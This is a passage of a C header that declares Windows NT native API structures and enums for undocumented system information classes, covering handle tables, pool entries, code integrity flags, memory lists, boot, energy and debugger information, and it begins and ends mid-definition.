USHORT ObjectTypeIndex;\n ULONG HandleAttributes;\n ULONG Reserved;\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION_EX\n{\n ULONG_PTR NumberOfHandles;\n ULONG_PTR Reserved;\n SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];\n} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;\n\ntypedef struct _SYSTEM_BIGPOOL_ENTRY\n{\n union\n {\n PVOID VirtualAddress;\n ULONG_PTR NonPaged : 1;\n };\n SIZE_T SizeInBytes;\n union\n {\n UCHAR Tag[4];\n ULONG TagUlong;\n };\n} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY;\n\ntypedef struct _SYSTEM_BIGPOOL_INFORMATION\n{\n ULONG Count;\n SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1];\n} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION;\n\ntypedef struct _SYSTEM_POOL_ENTRY\n{\n BOOLEAN Allocated;\n BOOLEAN Spare0;\n USHORT AllocatorBackTraceIndex;\n ULONG Size;\n union\n {\n UCHAR Tag[4];\n ULONG TagUlong;\n PVOID ProcessChargedQuota;\n };\n} SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY;\n\ntypedef struct _SYSTEM_POOL_INFORMATION\n{\n SIZE_T TotalSize;\n PVOID FirstEntry;\n USHORT EntryOverhead;\n BOOLEAN PoolTagPresent;\n BOOLEAN Spare0;\n ULONG NumberOfEntries;\n SYSTEM_POOL_ENTRY Entries[1];\n} SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION;\n\ntypedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION\n{\n SIZE_T NextEntryOffset;\n ULONG SessionId;\n ULONG Count;\n SYSTEM_POOLTAG TagInfo[1];\n} SYSTEM_SESSION_POOLTAG_INFORMATION, *PSYSTEM_SESSION_POOLTAG_INFORMATION;\n\ntypedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION\n{\n SIZE_T NextEntryOffset;\n ULONG SessionId;\n ULONG ViewFailures;\n SIZE_T NumberOfBytesAvailable;\n SIZE_T NumberOfBytesAvailableContiguous;\n} SYSTEM_SESSION_MAPPED_VIEW_INFORMATION, *PSYSTEM_SESSION_MAPPED_VIEW_INFORMATION;\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n// private\ntypedef enum _SYSTEM_FIRMWARE_TABLE_ACTION\n{\n SystemFirmwareTableEnumerate,\n SystemFirmwareTableGet,\n SystemFirmwareTableMax\n} SYSTEM_FIRMWARE_TABLE_ACTION;\n\n// private\ntypedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION\n{\n ULONG ProviderSignature; // (same as the GetSystemFirmwareTable function)\n SYSTEM_FIRMWARE_TABLE_ACTION Action;\n ULONG TableID;\n ULONG TableBufferLength;\n UCHAR TableBuffer[1];\n} SYSTEM_FIRMWARE_TABLE_INFORMATION, *PSYSTEM_FIRMWARE_TABLE_INFORMATION;\n#endif\n\n// private\ntypedef struct _SYSTEM_MEMORY_LIST_INFORMATION\n{\n ULONG_PTR ZeroPageCount;\n ULONG_PTR FreePageCount;\n ULONG_PTR ModifiedPageCount;\n ULONG_PTR ModifiedNoWritePageCount;\n ULONG_PTR BadPageCount;\n ULONG_PTR PageCountByPriority[8];\n ULONG_PTR RepurposedPagesByPriority[8];\n ULONG_PTR ModifiedPageCountPageFile;\n} SYSTEM_MEMORY_LIST_INFORMATION, *PSYSTEM_MEMORY_LIST_INFORMATION;\n\n// private\ntypedef enum _SYSTEM_MEMORY_LIST_COMMAND\n{\n MemoryCaptureAccessedBits,\n MemoryCaptureAndResetAccessedBits,\n MemoryEmptyWorkingSets,\n MemoryFlushModifiedList,\n MemoryPurgeStandbyList,\n MemoryPurgeLowPriorityStandbyList,\n MemoryCommandMax\n} SYSTEM_MEMORY_LIST_COMMAND;\n\n// private\ntypedef struct _SYSTEM_THREAD_CID_PRIORITY_INFORMATION\n{\n CLIENT_ID ClientId;\n KPRIORITY Priority;\n} SYSTEM_THREAD_CID_PRIORITY_INFORMATION, *PSYSTEM_THREAD_CID_PRIORITY_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION\n{\n ULONGLONG CycleTime;\n} SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION, *PSYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_REF_TRACE_INFORMATION\n{\n BOOLEAN TraceEnable;\n BOOLEAN TracePermanent;\n UNICODE_STRING TraceProcessName;\n UNICODE_STRING TracePoolTags;\n} SYSTEM_REF_TRACE_INFORMATION, *PSYSTEM_REF_TRACE_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_PROCESS_ID_INFORMATION\n{\n HANDLE ProcessId;\n UNICODE_STRING ImageName;\n} SYSTEM_PROCESS_ID_INFORMATION, *PSYSTEM_PROCESS_ID_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION\n{\n GUID BootIdentifier;\n FIRMWARE_TYPE FirmwareType;\n union\n {\n ULONGLONG BootFlags;\n struct\n {\n ULONGLONG DbgMenuOsSelection : 1; // REDSTONE4\n ULONGLONG DbgHiberBoot : 1;\n ULONGLONG DbgSoftBoot : 1;\n ULONGLONG DbgMeasuredLaunch : 1;\n ULONGLONG DbgMeasuredLaunchCapable : 1; // 19H1\n ULONGLONG DbgSystemHiveReplace : 1;\n ULONGLONG DbgMeasuredLaunchSmmProtections : 1;\n };\n };\n} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION\n{\n ULONG FlagsToEnable;\n ULONG FlagsToDisable;\n} SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION, *PSYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_VERIFIER_INFORMATION_EX\n{\n ULONG VerifyMode;\n ULONG OptionChanges;\n UNICODE_STRING PreviousBucketName;\n ULONG IrpCancelTimeoutMsec;\n ULONG VerifierExtensionEnabled;\n#ifdef _WIN64\n ULONG Reserved[1];\n#else\n ULONG Reserved[3];\n#endif\n} SYSTEM_VERIFIER_INFORMATION_EX, *PSYSTEM_VERIFIER_INFORMATION_EX;\n\n// private\ntypedef struct _SYSTEM_SYSTEM_PARTITION_INFORMATION\n{\n UNICODE_STRING SystemPartition;\n} SYSTEM_SYSTEM_PARTITION_INFORMATION, *PSYSTEM_SYSTEM_PARTITION_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_SYSTEM_DISK_INFORMATION\n{\n UNICODE_STRING SystemDisk;\n} SYSTEM_SYSTEM_DISK_INFORMATION, *PSYSTEM_SYSTEM_DISK_INFORMATION;\n\n// private (Windows 8.1 and above)\ntypedef struct _SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT\n{\n ULONGLONG Hits;\n UCHAR PercentFrequency;\n} SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT, *PSYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT;\n\n// private (Windows 7 and Windows 8)\ntypedef struct _SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT_WIN8\n{\n ULONG Hits;\n UCHAR PercentFrequency;\n} SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT_WIN8, *PSYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT_WIN8;\n\n// private\ntypedef struct _SYSTEM_PROCESSOR_PERFORMANCE_STATE_DISTRIBUTION\n{\n ULONG ProcessorNumber;\n ULONG StateCount;\n SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT States[1];\n} SYSTEM_PROCESSOR_PERFORMANCE_STATE_DISTRIBUTION, *PSYSTEM_PROCESSOR_PERFORMANCE_STATE_DISTRIBUTION;\n\n// private\ntypedef struct _SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION\n{\n ULONG ProcessorCount;\n ULONG Offsets[1];\n} SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION, *PSYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION;\n\n#define CODEINTEGRITY_OPTION_ENABLED 0x01\n#define CODEINTEGRITY_OPTION_TESTSIGN 0x02\n#define CODEINTEGRITY_OPTION_UMCI_ENABLED 0x04\n#define CODEINTEGRITY_OPTION_UMCI_AUDITMODE_ENABLED 0x08\n#define CODEINTEGRITY_OPTION_UMCI_EXCLUSIONPATHS_ENABLED 0x10\n#define CODEINTEGRITY_OPTION_TEST_BUILD 0x20\n#define CODEINTEGRITY_OPTION_PREPRODUCTION_BUILD 0x40\n#define CODEINTEGRITY_OPTION_DEBUGMODE_ENABLED 0x80\n#define CODEINTEGRITY_OPTION_FLIGHT_BUILD 0x100\n#define CODEINTEGRITY_OPTION_FLIGHTING_ENABLED 0x200\n#define CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED 0x400\n#define CODEINTEGRITY_OPTION_HVCI_KMCI_AUDITMODE_ENABLED 0x800\n#define CODEINTEGRITY_OPTION_HVCI_KMCI_STRICTMODE_ENABLED 0x1000\n#define CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED 0x2000\n\n// private\ntypedef struct _SYSTEM_CODEINTEGRITY_INFORMATION\n{\n ULONG Length;\n ULONG CodeIntegrityOptions;\n} SYSTEM_CODEINTEGRITY_INFORMATION, *PSYSTEM_CODEINTEGRITY_INFORMATION;\n\n// private\ntypedef enum _SYSTEM_VA_TYPE\n{\n SystemVaTypeAll,\n SystemVaTypeNonPagedPool,\n SystemVaTypePagedPool,\n SystemVaTypeSystemCache,\n SystemVaTypeSystemPtes,\n SystemVaTypeSessionSpace,\n SystemVaTypeMax\n} SYSTEM_VA_TYPE, *PSYSTEM_VA_TYPE;\n\n// private\ntypedef struct _SYSTEM_VA_LIST_INFORMATION\n{\n SIZE_T VirtualSize;\n SIZE_T VirtualPeak;\n SIZE_T VirtualLimit;\n SIZE_T AllocationFailures;\n} SYSTEM_VA_LIST_INFORMATION, *PSYSTEM_VA_LIST_INFORMATION;\n\n// rev\ntypedef enum _SYSTEM_STORE_INFORMATION_CLASS\n{\n SystemStoreCompressionInformation = 22 // q: SYSTEM_STORE_COMPRESSION_INFORMATION\n} SYSTEM_STORE_INFORMATION_CLASS;\n\n// rev\n#define SYSTEM_STORE_INFORMATION_VERSION 1\n\n// rev\ntypedef struct _SYSTEM_STORE_INFORMATION\n{\n _In_ ULONG Version;\n _In_ SYSTEM_STORE_INFORMATION_CLASS StoreInformationClass;\n _Inout_ PVOID Data;\n _Inout_ ULONG Length;\n} SYSTEM_STORE_INFORMATION, *PSYSTEM_STORE_INFORMATION;\n\n// rev\n#define SYSTEM_STORE_COMPRESSION_INFORMATION_VERSION 3\n\n// rev\ntypedef struct _SYSTEM_STORE_COMPRESSION_INFORMATION\n{\n ULONG Version;\n ULONG CompressionPid;\n ULONGLONG CompressionWorkingSetSize;\n ULONGLONG CompressSize;\n ULONGLONG CompressedSize;\n ULONGLONG NonCompressedSize;\n} SYSTEM_STORE_COMPRESSION_INFORMATION, *PSYSTEM_STORE_COMPRESSION_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS\n{\n HANDLE KeyHandle;\n PUNICODE_STRING ValueNamePointer;\n PULONG RequiredLengthPointer;\n PUCHAR Buffer;\n ULONG BufferLength;\n ULONG Type;\n PUCHAR AppendBuffer;\n ULONG AppendBufferLength;\n BOOLEAN CreateIfDoesntExist;\n BOOLEAN TruncateExistingValue;\n} SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS, *PSYSTEM_REGISTRY_APPEND_STRING_PARAMETERS;\n\n// msdn\ntypedef struct _SYSTEM_VHD_BOOT_INFORMATION\n{\n BOOLEAN OsDiskIsVhd;\n ULONG OsVhdFilePathOffset;\n WCHAR OsVhdParentVolume[ANYSIZE_ARRAY];\n} SYSTEM_VHD_BOOT_INFORMATION, *PSYSTEM_VHD_BOOT_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_LOW_PRIORITY_IO_INFORMATION\n{\n ULONG LowPriReadOperations;\n ULONG LowPriWriteOperations;\n ULONG KernelBumpedToNormalOperations;\n ULONG LowPriPagingReadOperations;\n ULONG KernelPagingReadsBumpedToNormal;\n ULONG LowPriPagingWriteOperations;\n ULONG KernelPagingWritesBumpedToNormal;\n ULONG BoostedIrpCount;\n ULONG BoostedPagingIrpCount;\n ULONG BlanketBoostCount;\n} SYSTEM_LOW_PRIORITY_IO_INFORMATION, *PSYSTEM_LOW_PRIORITY_IO_INFORMATION;\n\n// symbols\ntypedef enum _TPM_BOOT_ENTROPY_RESULT_CODE\n{\n TpmBootEntropyStructureUninitialized,\n TpmBootEntropyDisabledByPolicy,\n TpmBootEntropyNoTpmFound,\n TpmBootEntropyTpmError,\n TpmBootEntropySuccess\n} TPM_BOOT_ENTROPY_RESULT_CODE;\n\n// Contents of KeLoaderBlock->Extension->TpmBootEntropyResult (TPM_BOOT_ENTROPY_LDR_RESULT).\n// EntropyData is truncated to 40 bytes.\n\n// private\ntypedef struct _TPM_BOOT_ENTROPY_NT_RESULT\n{\n ULONGLONG Policy;\n TPM_BOOT_ENTROPY_RESULT_CODE ResultCode;\n NTSTATUS ResultStatus;\n ULONGLONG Time;\n ULONG EntropyLength;\n UCHAR EntropyData[40];\n} TPM_BOOT_ENTROPY_NT_RESULT, *PTPM_BOOT_ENTROPY_NT_RESULT;\n\n// private\ntypedef struct _SYSTEM_VERIFIER_COUNTERS_INFORMATION\n{\n SYSTEM_VERIFIER_INFORMATION Legacy;\n ULONG RaiseIrqls;\n ULONG AcquireSpinLocks;\n ULONG SynchronizeExecutions;\n ULONG AllocationsWithNoTag;\n ULONG AllocationsFailed;\n ULONG AllocationsFailedDeliberately;\n SIZE_T LockedBytes;\n SIZE_T PeakLockedBytes;\n SIZE_T MappedLockedBytes;\n SIZE_T PeakMappedLockedBytes;\n SIZE_T MappedIoSpaceBytes;\n SIZE_T PeakMappedIoSpaceBytes;\n SIZE_T PagesForMdlBytes;\n SIZE_T PeakPagesForMdlBytes;\n SIZE_T ContiguousMemoryBytes;\n SIZE_T PeakContiguousMemoryBytes;\n ULONG ExecutePoolTypes; // REDSTONE2\n ULONG ExecutePageProtections;\n ULONG ExecutePageMappings;\n ULONG ExecuteWriteSections;\n ULONG SectionAlignmentFailures;\n ULONG UnsupportedRelocs;\n ULONG IATInExecutableSection;\n} SYSTEM_VERIFIER_COUNTERS_INFORMATION, *PSYSTEM_VERIFIER_COUNTERS_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_ACPI_AUDIT_INFORMATION\n{\n ULONG RsdpCount;\n ULONG SameRsdt : 1;\n ULONG SlicPresent : 1;\n ULONG SlicDifferent : 1;\n} SYSTEM_ACPI_AUDIT_INFORMATION, *PSYSTEM_ACPI_AUDIT_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_BASIC_PERFORMANCE_INFORMATION\n{\n SIZE_T AvailablePages;\n SIZE_T CommittedPages;\n SIZE_T CommitLimit;\n SIZE_T PeakCommitment;\n} SYSTEM_BASIC_PERFORMANCE_INFORMATION, *PSYSTEM_BASIC_PERFORMANCE_INFORMATION;\n\n// begin_msdn\n\ntypedef struct _QUERY_PERFORMANCE_COUNTER_FLAGS\n{\n union\n {\n struct\n {\n ULONG KernelTransition : 1;\n ULONG Reserved : 31;\n };\n ULONG ul;\n };\n} QUERY_PERFORMANCE_COUNTER_FLAGS;\n\ntypedef struct _SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION\n{\n ULONG Version;\n QUERY_PERFORMANCE_COUNTER_FLAGS Flags;\n QUERY_PERFORMANCE_COUNTER_FLAGS ValidFlags;\n} SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION, *PSYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION;\n\n// end_msdn\n\n// private\ntypedef enum _SYSTEM_PIXEL_FORMAT\n{\n SystemPixelFormatUnknown,\n SystemPixelFormatR8G8B8,\n SystemPixelFormatR8G8B8X8,\n SystemPixelFormatB8G8R8,\n SystemPixelFormatB8G8R8X8\n} SYSTEM_PIXEL_FORMAT;\n\n// private\ntypedef struct _SYSTEM_BOOT_GRAPHICS_INFORMATION\n{\n LARGE_INTEGER FrameBuffer;\n ULONG Width;\n ULONG Height;\n ULONG PixelStride;\n ULONG Flags;\n SYSTEM_PIXEL_FORMAT Format;\n ULONG DisplayRotation;\n} SYSTEM_BOOT_GRAPHICS_INFORMATION, *PSYSTEM_BOOT_GRAPHICS_INFORMATION;\n\n// private\ntypedef struct _MEMORY_SCRUB_INFORMATION\n{\n HANDLE Handle;\n ULONG PagesScrubbed;\n} MEMORY_SCRUB_INFORMATION, *PMEMORY_SCRUB_INFORMATION;\n\n// private\ntypedef struct _PEBS_DS_SAVE_AREA32\n{\n ULONG BtsBufferBase;\n ULONG BtsIndex;\n ULONG BtsAbsoluteMaximum;\n ULONG BtsInterruptThreshold;\n ULONG PebsBufferBase;\n ULONG PebsIndex;\n ULONG PebsAbsoluteMaximum;\n ULONG PebsInterruptThreshold;\n ULONG PebsGpCounterReset[8];\n ULONG PebsFixedCounterReset[4];\n} PEBS_DS_SAVE_AREA32, *PPEBS_DS_SAVE_AREA32;\n\n// private\ntypedef struct _PEBS_DS_SAVE_AREA64\n{\n ULONGLONG BtsBufferBase;\n ULONGLONG BtsIndex;\n ULONGLONG BtsAbsoluteMaximum;\n ULONGLONG BtsInterruptThreshold;\n ULONGLONG PebsBufferBase;\n ULONGLONG PebsIndex;\n ULONGLONG PebsAbsoluteMaximum;\n ULONGLONG PebsInterruptThreshold;\n ULONGLONG PebsGpCounterReset[8];\n ULONGLONG PebsFixedCounterReset[4];\n} PEBS_DS_SAVE_AREA64, *PPEBS_DS_SAVE_AREA64;\n\n// private\ntypedef union _PEBS_DS_SAVE_AREA\n{\n PEBS_DS_SAVE_AREA32 As32Bit;\n PEBS_DS_SAVE_AREA64 As64Bit;\n} PEBS_DS_SAVE_AREA, *PPEBS_DS_SAVE_AREA;\n\n// private\ntypedef struct _PROCESSOR_PROFILE_CONTROL_AREA\n{\n PEBS_DS_SAVE_AREA PebsDsSaveArea;\n} PROCESSOR_PROFILE_CONTROL_AREA, *PPROCESSOR_PROFILE_CONTROL_AREA;\n\n// private\ntypedef struct _SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA\n{\n PROCESSOR_PROFILE_CONTROL_AREA ProcessorProfileControlArea;\n BOOLEAN Allocate;\n} SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA, *PSYSTEM_PROCESSOR_PROFILE_CONTROL_AREA;\n\n// private\ntypedef struct _MEMORY_COMBINE_INFORMATION\n{\n HANDLE Handle;\n ULONG_PTR PagesCombined;\n} MEMORY_COMBINE_INFORMATION, *PMEMORY_COMBINE_INFORMATION;\n\n// rev\n#define MEMORY_COMBINE_FLAGS_COMMON_PAGES_ONLY 0x4\n\n// private\ntypedef struct _MEMORY_COMBINE_INFORMATION_EX\n{\n HANDLE Handle;\n ULONG_PTR PagesCombined;\n ULONG Flags;\n} MEMORY_COMBINE_INFORMATION_EX, *PMEMORY_COMBINE_INFORMATION_EX;\n\n// private\ntypedef struct _MEMORY_COMBINE_INFORMATION_EX2\n{\n HANDLE Handle;\n ULONG_PTR PagesCombined;\n ULONG Flags;\n HANDLE ProcessHandle;\n} MEMORY_COMBINE_INFORMATION_EX2, *PMEMORY_COMBINE_INFORMATION_EX2;\n\n// private\ntypedef struct _SYSTEM_CONSOLE_INFORMATION\n{\n ULONG DriverLoaded : 1;\n ULONG Spare : 31;\n} SYSTEM_CONSOLE_INFORMATION, *PSYSTEM_CONSOLE_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_PLATFORM_BINARY_INFORMATION\n{\n ULONG64 PhysicalAddress;\n PVOID HandoffBuffer;\n PVOID CommandLineBuffer;\n ULONG HandoffBufferSize;\n ULONG CommandLineBufferSize;\n} SYSTEM_PLATFORM_BINARY_INFORMATION, *PSYSTEM_PLATFORM_BINARY_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION\n{\n ULONG NumberOfLogicalProcessors;\n ULONG NumberOfCores;\n} SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION, *PSYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_DEVICE_DATA_INFORMATION\n{\n UNICODE_STRING DeviceId;\n UNICODE_STRING DataName;\n ULONG DataType;\n ULONG DataBufferLength;\n PVOID DataBuffer;\n} SYSTEM_DEVICE_DATA_INFORMATION, *PSYSTEM_DEVICE_DATA_INFORMATION;\n\n// private\ntypedef struct _PHYSICAL_CHANNEL_RUN\n{\n ULONG NodeNumber;\n ULONG ChannelNumber;\n ULONGLONG BasePage;\n ULONGLONG PageCount;\n ULONG Flags;\n} PHYSICAL_CHANNEL_RUN, *PPHYSICAL_CHANNEL_RUN;\n\n// private\ntypedef struct _SYSTEM_MEMORY_TOPOLOGY_INFORMATION\n{\n ULONGLONG NumberOfRuns;\n ULONG NumberOfNodes;\n ULONG NumberOfChannels;\n PHYSICAL_CHANNEL_RUN Run[1];\n} SYSTEM_MEMORY_TOPOLOGY_INFORMATION, *PSYSTEM_MEMORY_TOPOLOGY_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_MEMORY_CHANNEL_INFORMATION\n{\n ULONG ChannelNumber;\n ULONG ChannelHeatIndex;\n ULONGLONG TotalPageCount;\n ULONGLONG ZeroPageCount;\n ULONGLONG FreePageCount;\n ULONGLONG StandbyPageCount;\n} SYSTEM_MEMORY_CHANNEL_INFORMATION, *PSYSTEM_MEMORY_CHANNEL_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_BOOT_LOGO_INFORMATION\n{\n ULONG Flags;\n ULONG BitmapOffset;\n} SYSTEM_BOOT_LOGO_INFORMATION, *PSYSTEM_BOOT_LOGO_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX\n{\n LARGE_INTEGER IdleTime;\n LARGE_INTEGER KernelTime;\n LARGE_INTEGER UserTime;\n LARGE_INTEGER DpcTime;\n LARGE_INTEGER InterruptTime;\n ULONG InterruptCount;\n ULONG Spare0;\n LARGE_INTEGER AvailableTime;\n LARGE_INTEGER Spare1;\n LARGE_INTEGER Spare2;\n} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX;\n\n// private\ntypedef struct _SYSTEM_SECUREBOOT_POLICY_INFORMATION \n{\n GUID PolicyPublisher;\n ULONG PolicyVersion;\n ULONG PolicyOptions;\n} SYSTEM_SECUREBOOT_POLICY_INFORMATION, *PSYSTEM_SECUREBOOT_POLICY_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_PAGEFILE_INFORMATION_EX\n{\n union // HACK union declaration for convenience (dmex)\n {\n SYSTEM_PAGEFILE_INFORMATION Info;\n struct\n {\n ULONG NextEntryOffset;\n ULONG TotalSize;\n ULONG TotalInUse;\n ULONG PeakUsage;\n UNICODE_STRING PageFileName;\n };\n };\n\n ULONG MinimumSize;\n ULONG MaximumSize;\n} SYSTEM_PAGEFILE_INFORMATION_EX, *PSYSTEM_PAGEFILE_INFORMATION_EX;\n\n// private\ntypedef struct _SYSTEM_SECUREBOOT_INFORMATION\n{\n BOOLEAN SecureBootEnabled;\n BOOLEAN SecureBootCapable;\n} SYSTEM_SECUREBOOT_INFORMATION, *PSYSTEM_SECUREBOOT_INFORMATION;\n\n// private\ntypedef struct _PROCESS_DISK_COUNTERS\n{\n ULONGLONG BytesRead;\n ULONGLONG BytesWritten;\n ULONGLONG ReadOperationCount;\n ULONGLONG WriteOperationCount;\n ULONGLONG FlushOperationCount;\n} PROCESS_DISK_COUNTERS, *PPROCESS_DISK_COUNTERS;\n\n// private\ntypedef union _ENERGY_STATE_DURATION\n{\n union\n {\n ULONGLONG Value;\n ULONG LastChangeTime;\n };\n\n ULONG Duration : 31;\n ULONG IsInState : 1;\n} ENERGY_STATE_DURATION, *PENERGY_STATE_DURATION;\n\ntypedef struct _PROCESS_ENERGY_VALUES\n{\n ULONGLONG Cycles[4][2];\n ULONGLONG DiskEnergy;\n ULONGLONG NetworkTailEnergy;\n ULONGLONG MBBTailEnergy;\n ULONGLONG NetworkTxRxBytes;\n ULONGLONG MBBTxRxBytes;\n union\n {\n ENERGY_STATE_DURATION Durations[3];\n struct\n {\n ENERGY_STATE_DURATION ForegroundDuration;\n ENERGY_STATE_DURATION DesktopVisibleDuration;\n ENERGY_STATE_DURATION PSMForegroundDuration;\n };\n };\n ULONG CompositionRendered;\n ULONG CompositionDirtyGenerated;\n ULONG CompositionDirtyPropagated;\n ULONG Reserved1;\n ULONGLONG AttributedCycles[4][2];\n ULONGLONG WorkOnBehalfCycles[4][2];\n} PROCESS_ENERGY_VALUES, *PPROCESS_ENERGY_VALUES;\n\ntypedef struct _TIMELINE_BITMAP\n{\n ULONGLONG Value;\n ULONG EndTime;\n ULONG Bitmap;\n} TIMELINE_BITMAP, *PTIMELINE_BITMAP;\n\ntypedef struct _PROCESS_ENERGY_VALUES_EXTENSION\n{\n union\n {\n TIMELINE_BITMAP Timelines[14]; // 9 for REDSTONE2, 14 for REDSTONE3/4/5\n struct\n {\n TIMELINE_BITMAP CpuTimeline;\n TIMELINE_BITMAP DiskTimeline;\n TIMELINE_BITMAP NetworkTimeline;\n TIMELINE_BITMAP MBBTimeline;\n TIMELINE_BITMAP ForegroundTimeline;\n TIMELINE_BITMAP DesktopVisibleTimeline;\n TIMELINE_BITMAP CompositionRenderedTimeline;\n TIMELINE_BITMAP CompositionDirtyGeneratedTimeline;\n TIMELINE_BITMAP CompositionDirtyPropagatedTimeline;\n TIMELINE_BITMAP InputTimeline; // REDSTONE3\n TIMELINE_BITMAP AudioInTimeline;\n TIMELINE_BITMAP AudioOutTimeline;\n TIMELINE_BITMAP DisplayRequiredTimeline;\n TIMELINE_BITMAP KeyboardInputTimeline;\n };\n };\n\n union // REDSTONE3\n {\n ENERGY_STATE_DURATION Durations[5];\n struct\n {\n ENERGY_STATE_DURATION InputDuration;\n ENERGY_STATE_DURATION AudioInDuration;\n ENERGY_STATE_DURATION AudioOutDuration;\n ENERGY_STATE_DURATION DisplayRequiredDuration;\n ENERGY_STATE_DURATION PSMBackgroundDuration;\n };\n };\n \n ULONG KeyboardInput;\n ULONG MouseInput;\n} PROCESS_ENERGY_VALUES_EXTENSION, *PPROCESS_ENERGY_VALUES_EXTENSION;\n\ntypedef struct _PROCESS_EXTENDED_ENERGY_VALUES\n{\n PROCESS_ENERGY_VALUES Base;\n PROCESS_ENERGY_VALUES_EXTENSION Extension;\n} PROCESS_EXTENDED_ENERGY_VALUES, *PPROCESS_EXTENDED_ENERGY_VALUES;\n\n// private\ntypedef enum _SYSTEM_PROCESS_CLASSIFICATION\n{\n SystemProcessClassificationNormal,\n SystemProcessClassificationSystem,\n SystemProcessClassificationSecureSystem,\n SystemProcessClassificationMemCompression,\n SystemProcessClassificationRegistry, // REDSTONE4\n SystemProcessClassificationMaximum\n} SYSTEM_PROCESS_CLASSIFICATION;\n\n// private\ntypedef struct _SYSTEM_PROCESS_INFORMATION_EXTENSION\n{\n PROCESS_DISK_COUNTERS DiskCounters;\n ULONGLONG ContextSwitches;\n union\n {\n ULONG Flags;\n struct\n {\n ULONG HasStrongId : 1;\n ULONG Classification : 4; // SYSTEM_PROCESS_CLASSIFICATION\n ULONG BackgroundActivityModerated : 1;\n ULONG Spare : 26;\n };\n };\n ULONG UserSidOffset;\n ULONG PackageFullNameOffset; // since THRESHOLD\n PROCESS_ENERGY_VALUES EnergyValues; // since THRESHOLD\n ULONG AppIdOffset; // since THRESHOLD\n SIZE_T SharedCommitCharge; // since THRESHOLD2\n ULONG JobObjectId; // since REDSTONE\n ULONG SpareUlong; // since REDSTONE\n ULONGLONG ProcessSequenceNumber;\n} SYSTEM_PROCESS_INFORMATION_EXTENSION, *PSYSTEM_PROCESS_INFORMATION_EXTENSION;\n\n// private\ntypedef struct _SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION\n{\n BOOLEAN EfiLauncherEnabled;\n} SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION, *PSYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX\n{\n BOOLEAN DebuggerAllowed;\n BOOLEAN DebuggerEnabled;\n BOOLEAN DebuggerPresent;\n} SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION_EX;\n\n// private\ntypedef struct _SYSTEM_ELAM_CERTIFICATE_INFORMATION\n{\n HANDLE ElamDriverFile;\n} SYSTEM_ELAM_CERTIFICATE_INFORMATION, *PSYSTEM_ELAM_CERTIFICATE_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_PROCESSOR_FEATURES_INFORMATION\n{\n ULONGLONG ProcessorFeatureBits;\n ULONGLONG Reserved[3];\n} 